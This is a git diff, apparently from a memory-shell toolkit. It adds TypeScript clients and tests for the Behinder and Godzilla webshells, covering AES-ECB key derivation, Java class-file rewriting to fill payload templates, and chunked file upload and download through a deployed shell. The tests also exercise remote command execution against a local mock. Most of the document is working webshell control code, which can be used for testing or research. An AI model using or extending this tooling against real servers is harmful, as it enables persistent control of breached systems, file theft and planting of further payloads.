+ return fail(err instanceof Error ? err.message : String(err));
+ }
+ if (size > BH_MAX_DOWNLOAD) {
+ return fail(`remote file is ${size} bytes — refusing to buffer over 2 GiB in memory`);
+ }
+
+ // ---- chunked read (empty file: no chunks at all) ----
+ const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK;
+ const parts: Buffer[] = [];
+ let downloaded = 0;
+ const blockCount = Math.ceil(size / chunkSize);
+ for (let index = 0; index < blockCount; index++) {
+ const want = Math.min(chunkSize, size - downloaded);
+ let chunk: Buffer | null = null;
+ let serverSays = "";
+ for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) {
+ try {
+ const envelope = await channel.invoke({
+ mode: "downloadPart",
+ path: remotePath,
+ blockIndex: String(index),
+ blockSize: String(chunkSize),
+ });
+ if (envelope.status !== "success") {
+ // e.g. the file shrank mid-transfer (EOF read -> status fail)
+ serverSays = envelope.msg || "remote status fail";
+ continue;
+ }
+ const buf = Buffer.from(envelope.msg, "base64");
+ if (buf.length !== want) {
+ serverSays = `short chunk: got ${buf.length} of ${want} bytes`;
+ continue;
+ }
+ chunk = buf;
+ } catch (err) {
+ serverSays = err instanceof Error ? err.message : String(err);
+ }
+ }
+ if (chunk === null) {
+ return fail(`chunk ${index} at offset ${downloaded}/${size} failed — ${serverSays}`);
+ }
+ parts.push(chunk);
+ downloaded += chunk.length;
+ }
+ const data = Buffer.concat(parts);
+
+ // ---- integrity check (MD5, or size above the limit) ----
+ // Empty files make the payload's check NPE (null msg) — nothing to hash anyway.
+ let detail: string | undefined;
+ if (size === 0) {
+ detail = "remote file is empty — hash check skipped";
+ } else {
+ const verification = await verifyBehinderRemote(
+ channel,
+ remotePath,
+ data,
+ options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
+ "(the file changed during transfer?)",
+ );
+ if (verification.error) return fail(verification.error);
+ detail = verification.detail;
+ }
+
+ return {
+ ok: true,
+ tool: "behinder",
+ url,
+ direction: "download",
+ remotePath,
+ bytes: data.length,
+ detail,
+ data,
+ durationMs: Date.now() - started,
+ };
+}
+
+/**
+ * Behinder file upload — first chunk mode=create (truncate + write), the rest
+ * mode=append, then `check` for an MD5[0:16] comparison. Append is not
+ * idempotent, so a failed chunk aborts immediately (the error says the
+ * remote file may be partial) instead of risking duplicated content.
+ */
+export async function uploadBehinder(
+ url: string,
+ pass: string,
+ remotePath: string,
+ data: Buffer,
+ options: BehinderTransferOptions = {},
+): Promise {
+ const started = Date.now();
+ const key = md5Key16(pass);
+ const fail = (error: string): TransferResult => ({
+ ok: false,
+ tool: "behinder",
+ url,
+ direction: "upload",
+ remotePath,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ const channel = openBehinderChannel(url, key, options);
+
+ if (data.length === 0) {
+ // create truncates; an empty content field produces an empty remote file.
+ try {
+ const envelope = await channel.invoke({ mode: "create", path: remotePath, content: "" });
+ if (envelope.status !== "success") {
+ return fail(`server said: ${envelope.msg || "remote status fail"}`);
+ }
+ } catch (err) {
+ return fail(err instanceof Error ? err.message : String(err));
+ }
+ return {
+ ok: true,
+ tool: "behinder",
+ url,
+ direction: "upload",
+ remotePath,
+ bytes: 0,
+ detail: "empty file — hash check skipped",
+ durationMs: Date.now() - started,
+ };
+ }
+
+ let offset = 0;
+ let index = 0;
+ while (offset < data.length) {
+ const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length));
+ const mode = index === 0 ? "create" : "append";
+ try {
+ const envelope = await channel.invoke({
+ mode,
+ path: remotePath,
+ content: chunk.toString("base64"),
+ });
+ if (envelope.status !== "success") {
+ return fail(
+ `chunk ${index} failed at offset ${offset}/${data.length} — server said: ` +
+ `${envelope.msg || "remote status fail"} — the remote file may be incomplete`,
+ );
+ }
+ } catch (err) {
+ return fail(
+ `chunk ${index} failed at offset ${offset}/${data.length}: ` +
+ `${err instanceof Error ? err.message : String(err)} — the remote file may be incomplete`,
+ );
+ }
+ offset += chunk.length;
+ index++;
+ }
+
+ // ---- integrity check (MD5, or size above the limit) ----
+ const verification = await verifyBehinderRemote(
+ channel,
+ remotePath,
+ data,
+ options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
+ "(the upload was corrupted)",
+ );
+ if (verification.error) return fail(verification.error);
+
+ return {
+ ok: true,
+ tool: "behinder",
+ url,
+ direction: "upload",
+ remotePath,
+ bytes: data.length,
+ detail: verification.detail,
+ durationMs: Date.now() - started,
+ };
+}
diff --git a/tools/cli/src/connect/classfile.test.ts b/tools/cli/src/connect/classfile.test.ts
new file mode 100644
index 00000000..0d03e35c
--- /dev/null
+++ b/tools/cli/src/connect/classfile.test.ts
@@ -0,0 +1,49 @@
+import { describe, expect, it } from "vitest";
+
+import { ECHO_CLASS_BYTES } from "./assets.js";
+import { injectStringConstant, readStringConstant } from "./classfile.js";
+
+describe("injectStringConstant", () => {
+ it("adds a ConstantValue to a field that has none", () => {
+ expect(readStringConstant(ECHO_CLASS_BYTES, "content")).toBeNull();
+
+ const value = `test-${"x".repeat(60)}-content`;
+ const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", value);
+
+ expect(readStringConstant(patched, "content")).toBe(value);
+ // magic / minor / major untouched (pool count at offset 8 grows by design)
+ expect(patched.readUInt32BE(0)).toBe(0xcafebabe);
+ expect(patched.subarray(4, 8)).toEqual(ECHO_CLASS_BYTES.subarray(4, 8));
+ });
+
+ it("handles unicode values and repeated injection", () => {
+ const patched1 = injectStringConstant(ECHO_CLASS_BYTES, "content", "第一次");
+ expect(readStringConstant(patched1, "content")).toBe("第一次");
+ const patched2 = injectStringConstant(patched1, "content", "second");
+ expect(readStringConstant(patched2, "content")).toBe("second");
+ });
+
+ it("encodes supplementary characters as modified UTF-8 (surrogate 3-byte pairs)", () => {
+ // plain 4-byte UTF-8 in a CONSTANT_Utf8 entry makes the JVM reject the
+ // class — emoji must be stored as two 3-byte surrogate sequences
+ const value = "日志-😀-文件";
+ const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", value);
+ expect(readStringConstant(patched, "content")).toBe(value);
+ // 😀 = U+1F600 -> ED A0 BD ED B8 80 in modified UTF-8
+ expect(patched.includes(Buffer.from([0xed, 0xa0, 0xbd, 0xed, 0xb8, 0x80]))).toBe(true);
+ // ...and must NOT contain the plain 4-byte form F0 9F 98 80
+ expect(patched.includes(Buffer.from([0xf0, 0x9f, 0x98, 0x80]))).toBe(false);
+ });
+
+ it("does not touch other fields", () => {
+ const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", "abc123");
+ expect(readStringConstant(patched, "payloadBody")).toBeNull();
+ });
+
+ it("rejects non-class input and unknown fields", () => {
+ expect(() => injectStringConstant(Buffer.from("nope"), "content", "x")).toThrow(
+ "not a Java class file",
+ );
+ expect(() => injectStringConstant(ECHO_CLASS_BYTES, "noSuchField", "x")).toThrow("not found");
+ });
+});
diff --git a/tools/cli/src/connect/classfile.ts b/tools/cli/src/connect/classfile.ts
new file mode 100644
index 00000000..4545aae8
--- /dev/null
+++ b/tools/cli/src/connect/classfile.ts
@@ -0,0 +1,289 @@
+/**
+ * Minimal Java class-file rewriter.
+ *
+ * Behinder sends "payload template" classes whose static String fields are
+ * filled client-side before upload (its `Params.getParamedClass` uses ASM to
+ * set a `ConstantValue` on the field). We only need that one feature: set a
+ * static String field's ConstantValue, leaving everything else byte-identical.
+ */
+
+const CONSTANT_VALUE = "ConstantValue";
+
+class Cursor {
+ constructor(readonly buf: Buffer) {}
+ u1(off: number): number {
+ return this.buf.readUInt8(off);
+ }
+ u2(off: number): number {
+ return this.buf.readUInt16BE(off);
+ }
+}
+
+interface PoolInfo {
+ count: number;
+ /** offset just past the last pool entry */
+ end: number;
+ utf8: Map;
+ constantValueNameIndex: number; // 0 = absent
+}
+
+function readPool(cur: Cursor): PoolInfo {
+ const buf = cur.buf;
+ const count = cur.u2(8);
+ const utf8 = new Map();
+ let constantValueNameIndex = 0;
+ let off = 10;
+ for (let i = 1; i < count; i++) {
+ const tag = cur.u1(off);
+ switch (tag) {
+ case 1: {
+ const len = cur.u2(off + 1);
+ const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len);
+ utf8.set(i, value);
+ if (value === CONSTANT_VALUE) constantValueNameIndex = i;
+ off += 3 + len;
+ break;
+ }
+ case 3: // Integer
+ case 4: // Float
+ case 9: // Fieldref
+ case 10: // Methodref
+ case 11: // InterfaceMethodref
+ case 12: // NameAndType
+ case 17: // Dynamic
+ case 18: // InvokeDynamic
+ off += 5;
+ break;
+ case 5: // Long — two slots
+ case 6: // Double — two slots
+ off += 9;
+ i++;
+ break;
+ case 7: // Class
+ case 8: // String
+ case 16: // MethodType
+ case 19: // Module
+ case 20: // Package
+ off += 3;
+ break;
+ case 15: // MethodHandle
+ off += 4;
+ break;
+ default:
+ throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);
+ }
+ }
+ return { count, end: off, utf8, constantValueNameIndex };
+}
+
+/**
+ * Decode a CONSTANT_Utf8 payload (modified UTF-8): 1/2/3-byte forms,
+ * surrogate code units reassemble into supplementary characters, C0 80 is
+ * U+0000. Anything else decodes to U+FFFD without aborting the walk.
+ */
+function decodeModifiedUtf8(buf: Buffer, start: number, end: number): string {
+ let out = "";
+ let i = start;
+ while (i < end) {
+ const b = buf[i]!;
+ if (b < 0x80) {
+ out += String.fromCharCode(b);
+ i += 1;
+ } else if ((b & 0xe0) === 0xc0 && i + 1 < end) {
+ out += String.fromCharCode(((b & 0x1f) << 6) | (buf[i + 1]! & 0x3f));
+ i += 2;
+ } else if ((b & 0xf0) === 0xe0 && i + 2 < end) {
+ out += String.fromCharCode(
+ ((b & 0x0f) << 12) | ((buf[i + 1]! & 0x3f) << 6) | (buf[i + 2]! & 0x3f),
+ );
+ i += 3;
+ } else {
+ out += "�";
+ i += 1;
+ }
+ }
+ return out;
+}
+
+function encodeUtf8Entry(value: string): Buffer {
+ const data = encodeModifiedUtf8(value);
+ const out = Buffer.alloc(3);
+ out.writeUInt8(1, 0);
+ out.writeUInt16BE(data.length, 1);
+ return Buffer.concat([out, data]);
+}
+
+/**
+ * The class-file CONSTANT_Utf8 format is *modified* UTF-8, not plain UTF-8:
+ * U+0000 is written as C0 80, and characters above the BMP are written as
+ * UTF-16 surrogate pairs of 3-byte sequences (plain 4-byte UTF-8 is invalid
+ * and makes the JVM reject the class). Iterating UTF-16 code units gives us
+ * exactly that encoding.
+ */
+function encodeModifiedUtf8(value: string): Buffer {
+ const bytes: number[] = [];
+ for (let i = 0; i < value.length; i++) {
+ const code = value.charCodeAt(i);
+ if (code >= 0x01 && code <= 0x7f) {
+ bytes.push(code);
+ } else if (code <= 0x07ff) {
+ bytes.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f));
+ } else {
+ bytes.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f));
+ }
+ }
+ return Buffer.from(bytes);
+}
+
+/**
+ * Return a copy of `classBytes` where the static String field `fieldName`
+ * carries `ConstantValue = value` (added or replaced).
+ */
+export function injectStringConstant(
+ classBytes: Buffer,
+ fieldName: string,
+ value: string,
+): Buffer {
+ const cur = new Cursor(classBytes);
+ if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {
+ throw new Error("not a Java class file");
+ }
+ const pool = readPool(cur);
+
+ // walk to the fields section
+ let off = pool.end;
+ off += 6; // access_flags, this_class, super_class
+ const interfacesCount = cur.u2(off);
+ off += 2 + interfacesCount * 2;
+ const fieldsCount = cur.u2(off);
+ off += 2;
+
+ // new constant pool entries (appended at the end, so all existing
+ // references keep working)
+ const newEntries: Buffer[] = [];
+ let nextIndex = pool.count;
+
+ let cvNameIndex = pool.constantValueNameIndex;
+ if (cvNameIndex === 0) {
+ newEntries.push(encodeUtf8Entry(CONSTANT_VALUE));
+ cvNameIndex = nextIndex++;
+ }
+ newEntries.push(encodeUtf8Entry(value));
+ const valueUtf8Index = nextIndex++;
+ const stringEntry = Buffer.alloc(3);
+ stringEntry.writeUInt8(8, 0); // String tag
+ stringEntry.writeUInt16BE(valueUtf8Index, 1);
+ newEntries.push(stringEntry);
+ const valueStringIndex = nextIndex++;
+
+ for (let f = 0; f < fieldsCount; f++) {
+ const fieldStart = off;
+ const nameIndex = cur.u2(off + 2);
+ const descIndex = cur.u2(off + 4);
+ const attrCountOff = off + 6;
+ const attrCount = cur.u2(attrCountOff);
+ off += 8;
+ const name = pool.utf8.get(nameIndex);
+ const desc = pool.utf8.get(descIndex);
+ const isTarget = name === fieldName && desc === "Ljava/lang/String;";
+
+ for (let a = 0; a < attrCount; a++) {
+ const attrNameIndex = cur.u2(off);
+ const attrLen = cur.buf.readUInt32BE(off + 2);
+ if (
+ isTarget &&
+ pool.constantValueNameIndex !== 0 &&
+ attrNameIndex === pool.constantValueNameIndex
+ ) {
+ // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest
+ const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen));
+ patched.writeUInt16BE(valueStringIndex, 6);
+ return Buffer.concat([
+ headWithNewPool(classBytes, pool, newEntries),
+ classBytes.subarray(pool.end, off),
+ patched,
+ classBytes.subarray(off + 6 + attrLen),
+ ]);
+ }
+ off += 6 + attrLen;
+ }
+
+ if (isTarget) {
+ // append a new ConstantValue attribute to this field
+ const newAttr = Buffer.alloc(8);
+ newAttr.writeUInt16BE(cvNameIndex, 0);
+ newAttr.writeUInt32BE(2, 2);
+ newAttr.writeUInt16BE(valueStringIndex, 6);
+ const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off));
+ fieldBytes.writeUInt16BE(attrCount + 1, 6);
+ return Buffer.concat([
+ headWithNewPool(classBytes, pool, newEntries),
+ classBytes.subarray(pool.end, fieldStart),
+ fieldBytes,
+ newAttr,
+ classBytes.subarray(off),
+ ]);
+ }
+ }
+ throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`);
+}
+
+/**
+ * Read back a static String field's ConstantValue, or null when absent.
+ * Mirrors the injection above; useful for verification and test harnesses.
+ */
+export function readStringConstant(classBytes: Buffer, fieldName: string): string | null {
+ const cur = new Cursor(classBytes);
+ if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {
+ throw new Error("not a Java class file");
+ }
+ const pool = readPool(cur);
+ const strings = new Map();
+ {
+ let off = 10;
+ for (let i = 1; i < pool.count; i++) {
+ const tag = cur.u1(off);
+ if (tag === 8) strings.set(i, cur.u2(off + 1));
+ if (tag === 1) off += 3 + cur.u2(off + 1);
+ else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5;
+ else if (tag === 5 || tag === 6) {
+ off += 9;
+ i++;
+ } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3;
+ else if (tag === 15) off += 4;
+ else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);
+ }
+ }
+
+ let off = pool.end + 6;
+ const interfacesCount = cur.u2(off);
+ off += 2 + interfacesCount * 2;
+ const fieldsCount = cur.u2(off);
+ off += 2;
+ for (let f = 0; f < fieldsCount; f++) {
+ const name = pool.utf8.get(cur.u2(off + 2));
+ const attrCount = cur.u2(off + 6);
+ off += 8;
+ for (let a = 0; a < attrCount; a++) {
+ const attrNameIndex = cur.u2(off);
+ const attrLen = cur.buf.readUInt32BE(off + 2);
+ if (
+ name === fieldName &&
+ pool.constantValueNameIndex !== 0 &&
+ attrNameIndex === pool.constantValueNameIndex
+ ) {
+ const utf8Index = strings.get(cur.u2(off + 6));
+ return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null);
+ }
+ off += 6 + attrLen;
+ }
+ }
+ return null;
+}
+
+/** file head (through the pool) with patched pool count + appended entries */
+function headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer {
+ const head = Buffer.from(classBytes.subarray(0, pool.end));
+ head.writeUInt16BE(pool.count + newEntries.length, 8);
+ return Buffer.concat([head, ...newEntries]);
+}
diff --git a/tools/cli/src/connect/crypto.test.ts b/tools/cli/src/connect/crypto.test.ts
new file mode 100644
index 00000000..07ba1964
--- /dev/null
+++ b/tools/cli/src/connect/crypto.test.ts
@@ -0,0 +1,75 @@
+import { describe, expect, it } from "vitest";
+
+import {
+ aesEcbDecrypt,
+ aesEcbEncrypt,
+ base64UrlDecode,
+ base64UrlEncode,
+ gunzipLenient,
+ gzip,
+ md5Hex,
+ md5Key16,
+ randomString,
+} from "./crypto.js";
+
+describe("md5", () => {
+ it("matches the hex values baked into real shells", () => {
+ // verified against shells generated by MemShellParty (godzilla pass/key = pass/key)
+ expect(md5Key16("key")).toBe("3c6e0b8a9c15224a");
+ expect(md5Key16("rebeyond")).toBe("e45e329feb5d925b");
+ expect(md5Hex("pass3c6e0b8a9c15224a").toUpperCase()).toBe("11CD6A87589841636C37AC826A2A04BC");
+ });
+});
+
+describe("aes-ecb", () => {
+ it("encrypts exactly like Java AES/ECB/PKCS5Padding (openssl vector)", () => {
+ const encrypted = aesEcbEncrypt(Buffer.from("hello memshell1234", "utf8"), "3c6e0b8a9c15224a");
+ expect(encrypted.toString("hex")).toBe(
+ "325b7465bea6f294db413b54142d7957492266f19adda6285c62fc77255928d4",
+ );
+ });
+
+ it("round-trips arbitrary data", () => {
+ const data = Buffer.alloc(100, 7);
+ const key = md5Key16("whatever");
+ expect(aesEcbDecrypt(aesEcbEncrypt(data, key), key)).toEqual(data);
+ });
+
+ it("throws on a wrong key (bad padding)", () => {
+ const encrypted = aesEcbEncrypt(Buffer.from("secret"), "3c6e0b8a9c15224a");
+ expect(() => aesEcbDecrypt(encrypted, "e45e329feb5d925b")).toThrow();
+ });
+});
+
+describe("gzip helpers", () => {
+ it("round-trips", () => {
+ const data = Buffer.from("godzilla method params");
+ expect(gunzipLenient(gzip(data))).toEqual(data);
+ });
+
+ it("gunzipLenient returns small raw inputs untouched (godzilla gzipD behaviour)", () => {
+ const raw = Buffer.from("ok");
+ expect(gunzipLenient(raw)).toEqual(raw);
+ });
+});
+
+describe("base64url", () => {
+ it("round-trips without padding", () => {
+ const data = Buffer.from([0xfb, 0xff, 0xfe, 0x01, 0x02]);
+ const encoded = base64UrlEncode(data);
+ expect(encoded).not.toMatch(/[+/=]/);
+ expect(base64UrlDecode(encoded)).toEqual(data);
+ });
+
+ it("decodes padded and unpadded input", () => {
+ expect(base64UrlDecode("-__-AQI")).toEqual(Buffer.from([0xfb, 0xff, 0xfe, 0x01, 0x02]));
+ });
+});
+
+describe("randomString", () => {
+ it("produces alphanumeric strings of the requested length", () => {
+ const s = randomString(64);
+ expect(s).toMatch(/^[A-Za-z0-9]{64}$/);
+ expect(randomString(0)).toBe("");
+ });
+});
diff --git a/tools/cli/src/connect/crypto.ts b/tools/cli/src/connect/crypto.ts
new file mode 100644
index 00000000..0aa94f1d
--- /dev/null
+++ b/tools/cli/src/connect/crypto.ts
@@ -0,0 +1,77 @@
+/**
+ * Crypto helpers shared by the webshell connection testers.
+ *
+ * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a
+ * 16-byte key derived from an MD5 hex string — exactly what Java's
+ * `Cipher.getInstance("AES")` does. Node's `aes-128-ecb` with automatic
+ * padding is wire-compatible with that.
+ */
+import { createCipheriv, createDecipheriv, createHash, randomBytes } from "node:crypto";
+import { gunzipSync, gzipSync } from "node:zlib";
+
+/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */
+export function md5Hex(data: string | Buffer): string {
+ return createHash("md5").update(data).digest("hex");
+}
+
+/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */
+export function md5Key16(data: string): string {
+ return md5Hex(data).slice(0, 16);
+}
+
+/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */
+export function aesEcbEncrypt(data: Buffer, key: string): Buffer {
+ const cipher = createCipheriv("aes-128-ecb", Buffer.from(key, "utf8"), null);
+ return Buffer.concat([cipher.update(data), cipher.final()]);
+}
+
+/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */
+export function aesEcbDecrypt(data: Buffer, key: string): Buffer {
+ const decipher = createDecipheriv("aes-128-ecb", Buffer.from(key, "utf8"), null);
+ return Buffer.concat([decipher.update(data), decipher.final()]);
+}
+
+export function gzip(data: Buffer): Buffer {
+ return gzipSync(data);
+}
+
+/**
+ * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to
+ * the raw bytes when the input is small (< 200 bytes), otherwise it throws.
+ */
+export function gunzipLenient(data: Buffer): Buffer {
+ if (data.length === 0) return data;
+ try {
+ return gunzipSync(data);
+ } catch (err) {
+ if (data.length < 200) return data;
+ throw err;
+ }
+}
+
+/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */
+export function base64UrlEncode(data: Buffer): string {
+ return data
+ .toString("base64")
+ .replaceAll("+", "-")
+ .replaceAll("/", "_")
+ .replace(/=+$/, "");
+}
+
+export function base64UrlDecode(text: string): Buffer {
+ let s = text.replaceAll("-", "+").replaceAll("_", "/");
+ while (s.length % 4 !== 0) s += "=";
+ return Buffer.from(s, "base64");
+}
+
+const RANDOM_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+
+/** Random alphanumeric string, mirroring the tools' `getRandomString`. */
+export function randomString(length: number): string {
+ const raw = randomBytes(length);
+ let out = "";
+ for (let i = 0; i < length; i++) {
+ out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length];
+ }
+ return out;
+}
diff --git a/tools/cli/src/connect/godzilla.test.ts b/tools/cli/src/connect/godzilla.test.ts
new file mode 100644
index 00000000..c26cd698
--- /dev/null
+++ b/tools/cli/src/connect/godzilla.test.ts
@@ -0,0 +1,605 @@
+import { createServer, type Server } from "node:http";
+import type { AddressInfo } from "node:net";
+
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+import { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from "./crypto.js";
+import {
+ downloadGodzilla,
+ execGodzilla,
+ testGodzilla,
+ uploadGodzilla,
+} from "./godzilla.js";
+
+const GATE = "gdz-gate-value";
+const PASS = "pass";
+const XC = md5Key16("key"); // 3c6e0b8a9c15224a
+const WRAP = md5Hex(PASS + XC).toUpperCase();
+
+/** Parse godzilla's `Parameter.serialize` stream (after gunzip). */
+function parseSerialized(data: Buffer): Map {
+ const map = new Map();
+ let off = 0;
+ let key: number[] = [];
+ while (off < data.length) {
+ const b = data[off]!;
+ off++;
+ if (b === 0x02) {
+ const len = data.readUInt32LE(off);
+ off += 4;
+ map.set(Buffer.from(key).toString("utf8"), data.subarray(off, off + len));
+ off += len;
+ key = [];
+ } else {
+ key.push(b);
+ }
+ }
+ return map;
+}
+
+interface MockState {
+ payloadLoaded: boolean;
+ sawCookieOnSecondRequest: boolean;
+ basicsInfoCalls: number;
+ /** In-memory remote filesystem for the file-transfer methods. */
+ files: Map;
+ /** Fail the next N download reads (returns garbage) to exercise retry. */
+ failNextReads: number;
+ /** Fail the next N upload chunks (returns an error string). */
+ failNextUploads: number;
+ /** When set, mode=fileSize lies and returns this string. */
+ fakeSize?: string;
+ /** When set, mode=fileSize returns these raw bytes (charset tests). */
+ fakeSizeRaw?: Buffer;
+ /**
+ * When set, the mock emulates a server whose platform default charset is
+ * this encoding: getBasicsInfo reports it as file.encoding, and fileName
+ * parameter bytes are decoded with it.
+ */
+ fileEncoding?: string;
+}
+
+function newMockState(): MockState {
+ return {
+ payloadLoaded: false,
+ sawCookieOnSecondRequest: false,
+ basicsInfoCalls: 0,
+ files: new Map(),
+ failNextReads: 0,
+ failNextUploads: 0,
+ };
+}
+
+function startMock(state: MockState): Promise {
+ const server = createServer((req, res) => {
+ const chunks: Buffer[] = [];
+ req.on("data", (c: Buffer) => chunks.push(c));
+ req.on("end", () => {
+ const fail = (text = "") => res.writeHead(200).end(text);
+ const ua = req.headers["user-agent"] ?? "";
+ if (!ua.includes(GATE)) return fail();
+
+ const body = Buffer.concat(chunks).toString("utf8");
+ let param: string | null = null;
+ for (const pair of body.split("&")) {
+ const i = pair.indexOf("=");
+ if (i > 0 && pair.slice(0, i) === PASS) {
+ param = decodeURIComponent(pair.slice(i + 1));
+ }
+ }
+ if (param === null) return fail();
+
+ let data: Buffer;
+ try {
+ data = aesEcbDecrypt(Buffer.from(param, "base64"), XC);
+ } catch {
+ // wrong key on a real shell: exception swallowed -> empty body
+ return fail();
+ }
+
+ // payload class upload: define it, hand out a session cookie
+ if (data.readUInt32BE(0) === 0xcafebabe) {
+ state.payloadLoaded = true;
+ res.setHeader("Set-Cookie", "JSESSIONID=abc123; Path=/");
+ return fail();
+ }
+ if (!state.payloadLoaded) return fail();
+
+ if (req.headers.cookie?.includes("JSESSIONID=abc123")) {
+ state.sawCookieOnSecondRequest = true;
+ }
+
+ const params = parseSerialized(gunzipLenient(data));
+ const method = params.get("methodName")?.toString();
+ const reply = (out: string | Buffer) => {
+ const wrapped =
+ WRAP.slice(0, 16) +
+ aesEcbEncrypt(gzip(typeof out === "string" ? Buffer.from(out) : out), XC).toString(
+ "base64",
+ ) +
+ WRAP.slice(16);
+ res.writeHead(200).end(wrapped);
+ };
+ // the payload decodes parameter strings with the platform default charset
+ const fileNameOf = (): string => {
+ const raw = params.get("fileName");
+ if (!raw) return "";
+ if (state.fileEncoding) {
+ try {
+ return new TextDecoder(state.fileEncoding).decode(raw);
+ } catch {
+ return raw.toString("utf8");
+ }
+ }
+ return raw.toString("utf8");
+ };
+
+ if (method === "test") return reply("ok");
+ if (method === "getBasicsInfo") {
+ state.basicsInfoCalls++;
+ const osName = req.url === "/godzilla-linux" ? "Linux" : "Windows 10";
+ const enc = state.fileEncoding ? `file.encoding : ${state.fileEncoding}\n` : "";
+ return reply(`OsInfo : os.name: ${osName} os.version: 1 os.arch: amd64\n${enc}`);
+ }
+ if (method === "execCommand") {
+ const n = Number(params.get("argsCount")?.toString() ?? "0");
+ const argv: string[] = [];
+ for (let i = 0; i < n; i++) argv.push(params.get(`arg-${i}`)?.toString() ?? "");
+ return reply(`MOCK-EXEC:${argv.join(" ")}`);
+ }
+
+ // ---- file-transfer methods (mirrors the payload's semantics) ----
+ if (method === "uploadFile") {
+ const name = fileNameOf();
+ const value = params.get("fileValue");
+ if (!name || value === undefined) return reply("No parameter fileName and fileValue");
+ state.files.set(name, Buffer.from(value));
+ return reply("ok");
+ }
+ if (method === "bigFileUpload") {
+ if (state.failNextUploads > 0) {
+ state.failNextUploads--;
+ return reply("Exception errMsg:mock injected failure");
+ }
+ const name = fileNameOf();
+ const contents = params.get("fileContents");
+ const posText = params.get("position")?.toString();
+ if (!name || contents === undefined) return reply("Exception errMsg:no parameter");
+ const existing = state.files.get(name) ?? Buffer.alloc(0);
+ if (posText === undefined) {
+ // no position -> append
+ state.files.set(name, Buffer.concat([existing, contents]));
+ } else {
+ // absolute offset, RandomAccessFile semantics (gap zero-filled)
+ const pos = Number.parseInt(posText, 10);
+ const out = Buffer.alloc(Math.max(existing.length, pos + contents.length));
+ existing.copy(out, 0);
+ contents.copy(out, pos);
+ state.files.set(name, out);
+ }
+ return reply("ok");
+ }
+ if (method === "bigFileDownload") {
+ const name = fileNameOf();
+ const mode = params.get("mode")?.toString() ?? "";
+ const file = state.files.get(name);
+ if (mode === "fileSize") {
+ if (state.fakeSizeRaw !== undefined) return reply(state.fakeSizeRaw);
+ if (state.fakeSize !== undefined) return reply(state.fakeSize);
+ return reply(String(file?.length ?? 0)); // File.length(): 0 for missing
+ }
+ if (mode === "read") {
+ if (state.failNextReads > 0) {
+ state.failNextReads--;
+ return reply("Exception errMsg:mock injected failure");
+ }
+ if (file === undefined) {
+ return reply(`Exception errMsg:java.io.FileNotFoundException: ${name} (No such file or directory)`);
+ }
+ const pos = Number.parseInt(params.get("position")?.toString() ?? "0", 10);
+ const num = Number.parseInt(params.get("readByteNum")?.toString() ?? "0", 10);
+ // real payload: read(byte[0]) returns 0 == buffer.length -> empty success
+ if (num === 0) return reply(Buffer.alloc(0));
+ // real payload: read() at EOF returns -1 -> copyOf(b, -1) -> "Exception errMsg:-1"
+ if (pos >= file.length) return reply("Exception errMsg:-1");
+ return reply(file.subarray(pos, Math.min(pos + num, file.length)));
+ }
+ return reply("no mode");
+ }
+ return fail();
+ });
+ });
+ return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve(server)));
+}
+
+describe("testGodzilla", () => {
+ let server: Server;
+ let base: string;
+ const state: MockState = newMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("uploads the payload and verifies the test call", async () => {
+ state.payloadLoaded = false;
+ const result = await testGodzilla(`${base}/godzilla`, "pass", "key", { headerValue: GATE });
+ expect(result.ok).toBe(true);
+ expect(result.detail).toMatch(/"test" returned ok/);
+ });
+
+ it("relays the session cookie to the second request", () => {
+ expect(state.sawCookieOnSecondRequest).toBe(true);
+ });
+
+ it("fails with a wrong key", async () => {
+ state.payloadLoaded = false;
+ const result = await testGodzilla(`${base}/godzilla`, "pass", "wrong", { headerValue: GATE });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("wrong pass/key");
+ });
+
+ it("fails with a wrong pass (wrapper mismatch)", async () => {
+ state.payloadLoaded = false;
+ const result = await testGodzilla(`${base}/godzilla`, "nope", "key", { headerValue: GATE });
+ expect(result.ok).toBe(false);
+ });
+
+ it("fails without the gate header", async () => {
+ state.payloadLoaded = false;
+ const result = await testGodzilla(`${base}/godzilla`, "pass", "key");
+ expect(result.ok).toBe(false);
+ });
+
